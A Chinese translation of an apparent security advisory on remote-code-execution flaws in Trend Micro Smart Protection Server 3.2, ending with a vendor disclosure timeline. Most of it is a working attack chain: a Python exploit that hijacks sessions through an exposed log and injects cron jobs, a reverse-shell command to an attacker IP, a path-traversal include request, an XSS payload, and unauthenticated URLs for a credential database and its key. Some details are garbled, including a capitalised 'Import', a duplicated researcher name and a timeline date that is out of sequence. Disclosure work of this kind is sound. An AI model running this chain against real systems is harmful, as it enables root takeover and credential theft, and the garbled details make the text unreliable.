导语:趋势科技是全球领先的安全公司,然而近日在Smart Protection Server的管理UI中发现了多个漏洞,允许远程未经身份验证的攻击者在系统上执行任意命令。
1. 漏洞信息
趋势科技是全球领先的安全公司,然而近日在Smart Protection Server的管理UI中发现了多个漏洞,允许远程未经身份验证的攻击者在系统上执行任意命令。
Trend Micro Smart Protection Server[1]是下一代、基于云、比较先进的保护解决方案。这个解决方案的核心是一个高级的扫描架构,它利用的是云存储中的恶意软件预防签名。该解决方案利用了文件声誉和Web声誉技术来检测安全风险。这项技术的工作原理是,将大量的先前存储在端点上的恶意软件预防签名和列表加载到Trend Micro Smart Protection Server。
漏洞信息如下:
类型:通过日志文件的信息泄露漏洞[CWE-532],在操作系统命令中使用的特殊元素的不适当中和漏洞 [CWE-78],在PHP程序中对include/require 语句文件名的不适当控制 漏洞[CWE-98],在网页生成中不适当的中和输入漏洞 [CWE-79],不适当的授权漏洞 [CWE-285]。
影响:代码执行
远程可利用:是
本地可利用:是
CVE名称:CVE-2017-11398, CVE-2017-14094, CVE-2017-14095, CVE-2017-14096, CVE-2017-14097
漏洞的包:Trend Micro Smart Protection Server 3.2 (构建 1085)
其他产品和版本可能会受到影响,但是并未进行测试。
2. 技术描述/概念验证代码
在2.1节中,我们将描述未经身份验证的攻击者如何获得一个会话令牌来执行经过身份验证的请求应对应用程序。2.2和2.3介绍了在Web应用程序的上下文中,两个用来实现远程命令执行的向量。几个公共特权升级的漏洞仍然没有被修补。通过与前面提到的漏洞相结合,一个远程未经身份验证的攻击者将能够使用根特权执行任意的系统命令。2.4和2.5内容涵盖了产品控制台中发现的其他常见Web应用程序漏洞。
2.1. 通过日志文件暴露进行的会话劫持
[CVE-2017-11398] 应用程序将诊断日志存储在 /widget/repository/log/diagnostic.log文件中。执行一次登录或一些基本浏览,应用程序将以下面列出的格式写几个条目:
2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null,<br /> <b>Notice</b>: Undefined index: param in <b>/var/www/AdminUI/widget/inc/class/common/db/GenericDao.php</b> on line <b>218</b><br /><br />
每个日志条目都会在日志警报级别的旁边将会话关联的ID泄露,并且可以在不需要对Web应用程序进行身份验证的情况下,通过HTTP访问。因此,未经身份验证的攻击者可以获取该文件并劫持活跃用户会话以执行经过身份验证的请求。
2.2. 通过cron作业注入执行远程命令
[CVE-2017-14094] 当预订软件更新时,脚本admin_update_program.php负责创建一个cron作业。HTTP请求包含几个参数,这些参数在没有经过检查的情况下,被当做cron作业的一部分使用,而cron作业是在/var/spool/cron/webserv中被创建的。我们将hidTimingMin参数作为目标。
File /var/www/AdminUI/php/admin_update_program.php:
if ($_SERVER['REQUEST_METHOD'] == 'POST'){ [...] $arr_au['Program']['AUScheduleTimingMin']= isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0"; [...] if ( $arr_au['Program']['UseAUSchedule'] == "1"){ if ( $arr_au['Program']['AUScheduleType'] == "0" ){ $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*"); }else { $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", $arr_au['Program']['AUScheduleTimingDay']); } $crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program --Schedule > /dev/null 2>&1"); $crontab->saveCronFile(); } if(! $crontab->addToCrontab()){ header( 'Location: admin_update_program.php?status=savecrontaberror&sid='.$session_nam26e ) ; exit; }
File /var/www/AdminUI/php/inc/crontab.php:
function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL, $dayofweek=NULL){ if($min=="0") $this->minute=0; elseif($min) $this->minute=$min; else $this->minute="*"; if($hour=="0") $this->hour=0; elseif($hour) $this->hour=$hour; else $this->hour="*"; $this->month=($month) ? $month : "*"; $this->day=($day) ? $day : "*"; $this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*"; } function saveCronFile(){ $command=$this->minute." ".$this->hour." ".$this->day." ".$this->month." ".$this->dayofweek." ".$this->command."n"; if(!fwrite($this->handle, $command)) return true; else return false; } function addToCrontab(){ if(!$this->filename) exit('No name specified for cron file'); $data=array(); exec("crontab ".escapeshellarg($this->directory.$this->filename),$data,$ret); if($ret==0) return true; else return false; }
下面的python脚本创建一个cron作业,cron作业每分钟运行一个任意的命令。它还利用了2.1中描述的会话劫持漏洞,来绕过身份验证。
#!/usr/bin/env python import requests Import sys def exploit(host, port, command): session_id = get_session_id(host, port) print "[+] Obtained session id %s" % session_id execute_command(session_id, host, port, command) def get_session_id(host, port): url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host, port) r = requests.get(url, verify=False) for line in r.text.split('n')[::-1]: if "INFO" in line or "ERROR" in line: return line.split(',')[3] def execute_command(session_id, host, port, command): print "[+] Executing command '%s' on %s:%d" % (command, host, port) url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host, port, session_id) multipart_data = { "ComponentSchedule": "on", "ComponentScheduleOS": "on", "ComponentScheduleService": "on", "ComponentScheduleWidget": "on", "useAUSchedule": "on", "auschedule_setting": "1", "update_method": "1", "update_method3": "on", "userfile": "", "sid": session_id, "hidComponentScheduleOS": "1", "hidComponentScheduleService": "1", "hidComponentScheduleWidget": "1", "hidUseAUSchedule": "1", "hidScheduleType": "1", "hidTimingDay": "2", "hidTimingHour": "2", "hidTimingMin": "* * * * * %s #" % command, "hidUpdateOption": "1", "hidUpdateNowFlag": "" } r = requests.post(url, data=multipart_data, cookies={session_id: session_id}, verify=False) if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text: print "[+] Cron job added, enjoy!" else: print "[-] Session has probably timed out, try again later!" if __name__ == "__main__": exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
下面的概念性验证向攻击者的机器打开了一个反向shell。
$ python coso.py 192.168.45.186 4343 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' [+] Obtained session id q514un6ru6stcpf3k0n4putbd3 [+] Executing command 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' on 192.168.45.186:4343 [+] Cron job added, enjoy! $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.45.186] port 8888 [tcp/*] accepted (family 2, sport 59508) bash: no job control in this shell [[email protected] localhost ~]$
2.3. 通过本地文件包含进行远程命令执行
[CVE-2017-14095] /widget/inc/widget_package_manager.php 脚本在没有清理的情况下,将用户提供的输入传递给require_once function一次性函数。但是,因为应用程序在文件名末尾附加了PoolManager.php,为了包含任意的文件,需要克服一些限制。
File /var/www/AdminUI/widget/inc/widget_package_manager.php:
switch($widgetRequest['act']){ case "check": try{ // $strUpdateType = widget, configure_widget_and_widget_component $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget'; $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update'; $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName(); [...]
File /var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php:
public function getWidgetPoolManager($strUpdateType = 'widget'){ if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){ $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType); require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); $strClassName = 'WF'.$strFileName.'PoolManager'; self::$instance[__FUNCTION__][$strUpdateType] = new $strClassName($this->objFramework); } return self::$instance[__FUNCTION__][$strUpdateType]; }
攻击者在系统上放置任意文件的一种方法是滥用应用程序的更新过程,该更新过程可以从相同的产品控制台管理。
从备用更新源下载的文件存储在/var/tmcss/activeupdate目录中。攻击者可以设置一个假的更新服务器,并触发一个更新来下载恶意存档。
例如,我们已经将一个名为rshellPoolManager.php的反向shell打包进了 bf1747402402.zip存档。下面的server.ini将指示应用程序下载存档并将其解压到/var/tmcss/activeupdate:
======================================= ActiveUpdate 1.2 US Filename: Server.ini New Format AU 1.8 Last modified by AUJP1 10/14/2015 ======================================= [Common] Version=1.2 CertExpireDate=Jul 28 08:52:40 2019 GMT [Server] AvailableServer=1 Server.1=http://<serverIP>:1080/ AltServer=http://<serverIP>:1080/ Https=http://<serverIP>:1080/ [PATTERN] P.48040039=pattern/bf1747402402.zip,1747402402,257
在从Web控制台触发更新后,PHP脚本便被写入到预期的位置。
[[email protected] localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php -rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php
最后一步是包含脚本并执行我们的有效负载。
POST /widget/inc/widget_package_manager.php?sid=dj0efdmskngvt4lbhakgc6cru7 HTTP/1.1 Host: 192.168.45.186:4343 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: application/json Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Request: JSON X-CSRFToken: dj0efdmskngvt4lbhakgc6cru7 Content-Type: application/json; charset=utf-8 Content-Length: 122 Cookie: dj0efdmskngvt4lbhakgc6cru7=dj0efdmskngvt4lbhakgc6cru7 Connection: close {"act": "check", "update_type": "../../../../../../../../../var/tmcss/activeupdate/rshell"}
Steven Seeley和Steven Seeley展示了各种各样的特权升级矢量,从网络上转移到他们的演示上,“我有99个趋势,一个#是所有的”。基于我们的测试,攻击的漏洞仍然没有被修补,所以我们没有试图找到其他的方法来升级特权。
2.4. 跨站点脚本存储
[CVE-2017-14096] ,wcs_bwlists_handler.php脚本的ru参数,容易受到跨站点脚本的攻击。这个端点用于管理用户定义的URL。
在插入规则之后,用户每次打开用户定义的URL部分时都将执行有效负载。
下面的概念性验证存储代码来打开一个警告框。
https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn=
2.5. 访问控制不当[CVE-2017-14097]
产品控制台包含可以用来监视其他服务器的小部件。凭证访问正在被监视的服务器、小部件日志和驻留在SQLite数据库中的其他信息,在以下URL中可以不进行身份验证而访问该数据库:
https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db
凭证是使用带有动态密钥的AES256存储的。但是,密钥也被放置在Web服务器目录中,并且可以在没有身份验证的情况下下载。
https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key
攻击者可以利用这种情况解密数据库的内容,使加密机制失效。
3. 报告时间线
· 2017-09-04:核心安全部门向Trend Micro发送了一份最初通知,其中包括一份咨询草案。
· 2017-10-02:核心安全部门要求对报告的漏洞进行更新。
· 2017-10-02:Trend Micro表示,他们仍在为报告的漏洞制定官方修复程序。该问题的解决方案(ETA)应该在本月(10月)结束。
· 2017-11 13:鉴于最初的ETA没有按时完成,核心安全部门要求Trend Micro在修复被报告的漏洞的时间轴上设定一个状态。
· 2017-11-14:Trend Micro公司表示,他们仍在开发关键补丁,并在此过程中发现了一些问题。补丁现在在QA中。
· 2017-11-20:Trend Micro通知在报告的6个漏洞中解决了5个漏洞的修复问题。他们指出,其中一个报告的漏洞出现在一个表中,该表允许SQL查询,并且“不会导致任何泄漏”。他们仍然在为其他地区将关键补丁进行本地化的过程中。设定信息披露日期,以便让我们了解解决所有问题的时间。
· 2016-11-21:核心安全部门对此次更新表示感谢,并同意移除报告的其中一个漏洞。
· 2017-12-05:Trend Micro提供了所有报告的漏洞的CVE-ID,并建议公开披露日期为12月14日。
· 2017-12-06:核心安全部门感谢此次更新,并建议公开披露日期为美国东部标准时间12月19日星期二下午12点。
· 2017-12-19:咨询的核心——2017 – 0008出版。